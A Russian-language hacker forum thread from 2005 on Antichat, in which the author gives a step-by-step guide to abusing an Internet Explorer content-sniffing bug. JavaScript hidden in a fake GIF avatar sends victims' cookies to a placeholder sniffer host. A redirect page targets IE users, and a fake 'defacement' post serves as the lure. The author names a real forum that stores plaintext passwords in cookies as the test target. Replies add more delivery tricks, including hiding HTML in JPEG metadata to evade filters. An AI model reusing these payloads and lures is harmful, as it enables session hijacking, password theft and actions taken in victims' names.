ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Баг в ИЕ (отображение html в изображениях). Как юзать.
  #1  
Старый 08.10.2005, 05:16
Аватар для censored!
censored!
Green member - Level 3
Регистрация: 02.11.2004
Сообщений: 1,337
Провел на форуме:
2398258

Репутация: 648


Lightbulb Баг в ИЕ (отображение html в изображениях). Как юзать.

Статью начал писать давно, но все что-то руки не доходили закончить. А тут - приболел малость. Вообщем - появилось n-e количество времени.
О чем: бага в ИЕ с отображением html-кода содержащегося в изображении известна давно и многим. Но, что-то, как-то публично не очень юзалась. А может просто забыли? Ну вот и вспомним:
---------------------------------------------
Если ничего не помогает, а выполнить произвольный html-код в браузере жертвы очень хочется, тогда остается последняя надежда - IE (Internet Explorer) у жертвы. Которым она бороздит просторы инета и портит вам нервы (канешна портит. иначе зачем вам она была бы нужна?)
--
Справка для тех у кого нет Интернета: внедрение произвольного html-кода на страницу сайта которую смотрит жертва называют CSS.
Так как уже есть такая аббревиатура и чтобы не путать с CSS - Каскадными Таблицами Стилей, такую хрень стали называть XSS.
А если мы можем внедрять любой html-код на страницу которую жертва посещает и там зарегистрирована, то мы имеем возможность:
получить сессию, логин, пароль (хэш пароля), сменить в анкете или настройках какие нить данные (если нам это позволительно), ну и совершать иные действия от имени жертвы (но без ее ведома и согласия).
Если, например, брать он-лайн игры - то можем перевести деньги другому игроку. При условии, что на перевод не стоит ввод пароля или не требуется ввод контрольных цифр или к.слова (которое с нормальным то зрением фиг прочитаешь), или не требуется всяческих подтверждений. Ну, или, выложить на Рынок всю амуницию жертвы по минимальной цене и потом все скупить. Вариантов очень много.
--
Где использовать: Практически везде, где есть возможность загрузки изображений (аватарок, фоток с ваших пьянок-посиделок и т.п.). Т.е. - форумы, чаты, службы знакомств, некоторые почтовые сервисы, он-лайн игры, etc...
Что нужно: немножко везения, ИЕ у жертвы, steep-by-steep который ниже.
---------------------------------------------
steep-by-steep:Чтобы было более понятнее, надо показывать на примере чего-либо (какого-нить сайта). Выберем этот сайт-пример. Лучше - Форум.
Чтобы выбор был чисто случайным и не было обвинений в предвзятости, используем маленький кусочек кода на JavaScript, который нам случайно (считай RND) сгенерит адрес этого сайта-примера:
...
Код:
<script language="JavaScript">
var domen = "qwtyiosxakep.rudfghjlzcvbnm";
max = 27; 
for (i=0;i==i;i++)
	{
	var RandomTime=new Date();
	var z=(RandomTime.getSeconds())%max;
	if (z=="6")
		{
		alert(domen.substring(z+1,15))
		break;
		}
	}
</script>
...
Запускаем... Ждем... Получаем: xakep.ru Хм... Забавно и неожиданно получилось...
Ну Ок. Идем тогда туда и смотрим что там есть. А там есть Форум (http://forum.xakep.ru/). Этот Форум (Ideal BB) примечателен тем, что в куках хранит пароль в открытом виде...
--
Начинаем готовиться:
1.На некоторое время оставляем Форум и лезем на сайт narod.ru регистрировать себе там якобы "взломанный" нами сайт (для этого примера).
Я зарегистрировал http://www.protivhackerov.narod.ru
2.Открываем Блокнот, и пишем там следующий html-код:
...
Код:
<body onloаd="javаscript:document.locatiоn.replаce('http://www.АДРЕС_ЯКОБЫ_ВЗЛОМАННОГО_САЙТА.narod.ru/index.htm')">
<script language="JavаScript"> 
img = nеw Imаge(); img.srс = "http://АДРЕС_СНИФЕРА.ru/snifer.php?"+document.cookie;
</script>
...
После чего сохраняем, например, под именем bad_avatar.gif (т.е. это у нас будет изображение содержащее html-код)
3.Заходим на сайт-пример (у нас это http://forum.xakep.ru/) и регистрируемся там под любым ником.
После прохождения регистрации, заходим в "Мой профиль"-"Редактировать профайл" там чуть ниже "Загрузить свой аватар на сервер." жмем "Обзор", выбираем наш bad_avatar.gif, жмем кнопку "Загрузить"... Вместо Аватарки будет показываться крестик (что правильно. у нас же там не изображение, а html-код). После всех этих процедур тыкаем правой кнопкой мышки в Аватарку, выбираем свойства и копируем полный путь (URL) нашей аватарки.
4.Открываем Блокнот (или в чем ты там изгаляешься?), и пишем там этот html-код (как урезанный пример):
...
Код:
<html><head><title>Сайт взломан!</title></head><body>Типа взломал</body></html>
...
Сохраняем как index.htm
5.Опять открываем Блокнот и пишем (ctrl+c/ctrl+v) там это:
...
Код:
<html><head></head><body>
<script lаnguage="JavaScript"> 
<!--  
if (navigаtor.appNamе=="Microsoft Internet Explorer") windоw.locаtion.href="http://forum.xakep.ru/avatars/НАЗВАНИЕ_АВАТАРКИ_УЖЕ_ЗАГРУЖЕНОЙ_НА_СЕРВЕР.gif"; 
else windоw.locаtion.hrеf="http://www.protivhackerov.narod.ru/index.htm"; 
// --> 
</script></body></html><noscript><noscript><plаintext><plaintext>
...
Сохраняем как index.html
...
6.Заходим в "Мастерскую" Народ_Ру (или по ftp) и закачиваем на сайт АДРЕС_ЯКОБЫ_ВЗЛОМАННОГО_СА ТА.narod.ru (у нас это http://www.protivhackerov.narod.ru) эти две странички: index.htm и index.html
--
Справка для тех у кого нет Интернета:
Мы создали две индекс-странички. Одна (index.htm) - наш якобы "взломанный" сайт, вторая (index.html) у нас будет промежуточным звеном.
Почему два индекса? Потому что на Народ_Ру если зайти по ссылке http://www.protivhackerov.narod.ru отобразиться страница index.html Т.е. тоже самое если бы мы зашли так: http://www.protivhackerov.narod.ru/index.html если же не будет страницы index.html то сервер будет искать в корне сайта страницу index.htm
И нам они нужны именно две с одинаковыми названиями (разными расширениями), чтобы как то "замылить" глаз нашей жертве.
...
На странице index.html (в конце) после тэга </html> мы ставим <noscript><noscript><plaintext><plaintext> чтобы "убить" баннер Народ_Ру, который предательски показывается в правом верхнем углу.
...
7.Все. У нас все готово, настроено и прописано. Теперь топаем на Форум, регистрируем себе новое и нормальное имя, выставляем нормальный Аватар, лезем и создаем новую тему. Типа: "Аллоха, Гавайи! Народ, зацените, плиз, мой самый первый и очччень грамотный дефейс! http://www.АДРЕС_ЯКОБЫ_ВЗЛОМАННОГО_САЙТА.narod.ru И отписывайтесь здесь, как он Вам?"
--
Справка для тех у кого нет Интернета:После того, как многие полезут заценивать твой грамотный дефейс, будет происходить вот что:
Когда они зайдут по ссылке http://www.АДРЕС_ЯКОБЫ_ВЗЛОМАННОГО_САЙТА.narod.ru, то им загрузиться страница index.html на которой проверяется какой Браузер у посетителя. Если не ИЕ - то облом`с и перекидываем его на страницу index.htm (непосредственно страница нашего "взломанного" сайта).
Если же ИЕ, то посетитель перекидывается на наш загруженный bad_avatar.gif и после отсылки cookie к тебе на снифер, перекидывается на страницу index.htm где и лицезреет твой дефейс...
--
Ну а дальше ты топаешь и смотришь логи своего снифера, и радостно собираешь урожай...
---------------------------------------------
Справка для тех у кого нет Интернета (типа переменные):
http://www.АДРЕС_ЯКОБЫ_ВЗЛОМАННОГО_САЙТА.narod.ru - адрес липового сайта, куда будем заманивать жертву
bad_avatar.gif - наше псевдоизображение содержащее html-код
НАЗВАНИЕ_АВАТАРКИ_УЖЕ_ЗАГР ЖЕНОЙ_НА_СЕРВЕР.gif - это новое название нашей Аватарки bad_avatar.gif, но уже загруженной (при загрузке - может поменяться имя)
http://АДРЕС_СНИФЕРА.ru/snifer.php - адрес вашего снифера, который будет принимать и заботливо складировать переданные ему куки
index.htm - непосредственно страница с липовым Дефейсом
index.html - страница, которая у нас играет роль перекрестка (редирект). Если ИЕ - то на аватарку (куки передаются сниферу) и потом на index.htm, если не ИЕ - то сразу на index.htm
steep-by-steep - просто название. шаг-за-шагом (по-шагово)
--
Справка для тех у кого нет Интернета:
Ты лучше скажи - как ты вообще сюда попал, коли инета у тебя нету?
---------------------------------------------
С Уважением, censored! [antichat.ru]


---------------------------------------------
p.s. сайт xakep.ru был выбран случайно (код JS вверху) =)

p.s.s. все было проверено на Форуме xakep.ru, но с единственной лишь разницей, что тема (как в п.7) не создавалась.
+ на настоящий момент загрузка Аватарок что-то вообще не работает.

p.s.s.s. Вот уже загруженная Аватарка (не bad_avatar.gif, а другая - как пример) покажет alert-ом куки: http://forum.xakep.ru/avatars/avatar15.gif (!!!)

p.s.s.s.s. В JS-код как мог выставил "защиту от дурака". Не маленькие уже. Сами разберетесь.
__________________
+ (это не крестик, это плюсик!)
__________________



Последний раз редактировалось censored!; 08.10.2005 в 05:22..
 
Ответить с цитированием

  #2  
Старый 08.10.2005, 11:20
Аватар для Tem
Tem
Banned
Регистрация: 05.10.2005
Сообщений: 965
Провел на форуме:
5888800

Репутация: 547


Отправить сообщение для Tem с помощью ICQ
По умолчанию

Спасибо интересная статья , я даже на принтере напичатал его, но у меня маленкий вопрос, это всё делается на одной страничке индекс,или саздаём несколько страниц, для каждого кода и скрипта?.
 
Ответить с цитированием

  #3  
Старый 08.10.2005, 12:49
Аватар для -artik-
-artik-
Banned
Регистрация: 13.06.2005
Сообщений: 44
Провел на форуме:
153475

Репутация: 0
Отправить сообщение для -artik- с помощью ICQ
По умолчанию

2Tem там же написано блин=)

2cencored! спасибо, отлиная статья!
 
Ответить с цитированием

  #4  
Старый 08.10.2005, 14:58
Аватар для *Van*
*Van*
Постоянный
Регистрация: 14.08.2005
Сообщений: 378
Провел на форуме:
670862

Репутация: 54
Отправить сообщение для *Van* с помощью ICQ
По умолчанию

Хорошая статья, могу только добавить, что часто на форумах аватара со скриптом не загружается с харда-но отлично загружается с ссылки. И ещё один способ залить такую "картинку" на форум-отправить её самому себе в личном сообщении.
 
Ответить с цитированием

  #5  
Старый 09.10.2005, 00:42
Аватар для Xex
Xex
Banned
Регистрация: 10.07.2005
Сообщений: 224
Провел на форуме:
1062041

Репутация: 50
По умолчанию

Да...хотелось бы дополнить, что со следующими расширениями тож прокатывает описанная фича:avi,bmp,gif,jpeg,jpg,mpeg,mpg,ogg,pdf,png ,rar,txt если с ними не ассоциированны невиндовые проги...
Например адрес типа http://server.com/foto_from_party.rar
ничего подозрительного не вызывает...
 
Ответить с цитированием

  #6  
Старый 09.10.2005, 05:28
Аватар для Rabid Rabbit
Rabid Rabbit
Участник форума
Регистрация: 31.08.2003
Сообщений: 177
Провел на форуме:
249275

Репутация: 22
По умолчанию

Пеши исчо
Кста сервак отдает Content-Type: image/gif но ИЕ типо "умный" и недоверяет))
Да на хакере.ру Server: Microsoft-IIS/6.0 - упал пацтул)))))))))
 
Ответить с цитированием

  #7  
Старый 09.10.2005, 13:54
Аватар для Антошка2003
Антошка2003
Постоянный
Регистрация: 03.04.2005
Сообщений: 610
Провел на форуме:
3238231

Репутация: 165


По умолчанию

Цитата:
Сообщение от Ван  
А где вообще можно посмотреть репутацию юзера?
А маленький, зелёнинький прямоугольничек под твоей аватаркой, наведи курсор туда и подожди, вылезет типа подсказки, и будет написана репутация. А свою можешь просмотреть в профиле.
сорри за оффтоп
 
Ответить с цитированием

  #8  
Старый 17.10.2005, 00:09
Аватар для ZaCo
ZaCo
Banned
Регистрация: 20.06.2005
Сообщений: 880
Провел на форуме:
4610226

Репутация: 1332


По умолчанию

Бага действительно старая, а в статье мне понравилась интересная реализация. Довольно неплохо.
Кстати и в моей пропаченой версии осла скрипт тоже выполняется и вот вопрос сам билл, что думает об этом? Считают ли разроботчики выполнение скрипта в картинке ошибкой?=)
 
Ответить с цитированием

  #9  
Старый 17.10.2005, 10:42
Аватар для Rabid Rabbit
Rabid Rabbit
Участник форума
Регистрация: 31.08.2003
Сообщений: 177
Провел на форуме:
249275

Репутация: 22
По умолчанию

Чта думает бил знаит тока сам бил, с вапросами к ниму))
Лична я предпалагаю что не тока нают но и счетают эта не багом а фичей)) Боле таго такое павидение задумывалась с самага начала. Кодеры из мелкасофт ведь ни зря счетают сибя самемы умными ))
 
Ответить с цитированием

  #10  
Старый 17.10.2005, 17:17
Аватар для Algol
Algol
Регистрация: 29.05.2002
Сообщений: 1,793
Провел на форуме:
2050916

Репутация: 0


По умолчанию

Цитата:
Сообщение от Rabid Rabbit  
Чта думает бил знаит тока сам бил, с вапросами к ниму))
Лична я предпалагаю что не тока нают но и счетают эта не багом а фичей)) Боле таго такое павидение задумывалась с самага начала. Кодеры из мелкасофт ведь ни зря счетают сибя самемы умными ))
Да, я тож думаю что они считают это фичей.
В принципе такое поведение браузера довольно логично. Он не обращает внимания на расширение файла, потому как оно ваще может быть любым.
Например адрес http://blablabla.ru/image.php?index=2434 тоже может быть картинкой, однако из расширения этого не видно.
А вот то, что он игнорирует хидер HTTP запроса это уже не так хорошо.
Но и здесь есть логика. Дело в том, что сам сервер может не знать что именно он отсылает. Все тот же скрипт http://blablabla.ru/image.php?index=2434 может как присылать в хидере информацию о типе данных, так и не присылать - все зависит от воли разработчика.
Поэтому IE и не доверяет хидерам, а пытается парсить контент на ходу. Опера и мозиллы действуют проще - они тупо открывают файл в соответствии с инфой в хидере.

Кстати более интересный вариант, чем просто замена картинки хтмлом - это совмещение картинки и ХТМЛ в одном файле. Дело в том, что некоторые форматы JPEG поддерживают т.н. метатеги - это символьные поля, в которых может содержаться информация о картинке или об авторе. В эти поля естественно можно внедрить и HTML. В таком случае IE воспринимает этот файл как HTML, в то время как он на самом деле является вполне корректной картинкой )))
(и свободно проходит сквозь различные фильтры, проверяющие контент). Кроме того, такой файл отображается в Опере как нормальная картинка))
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ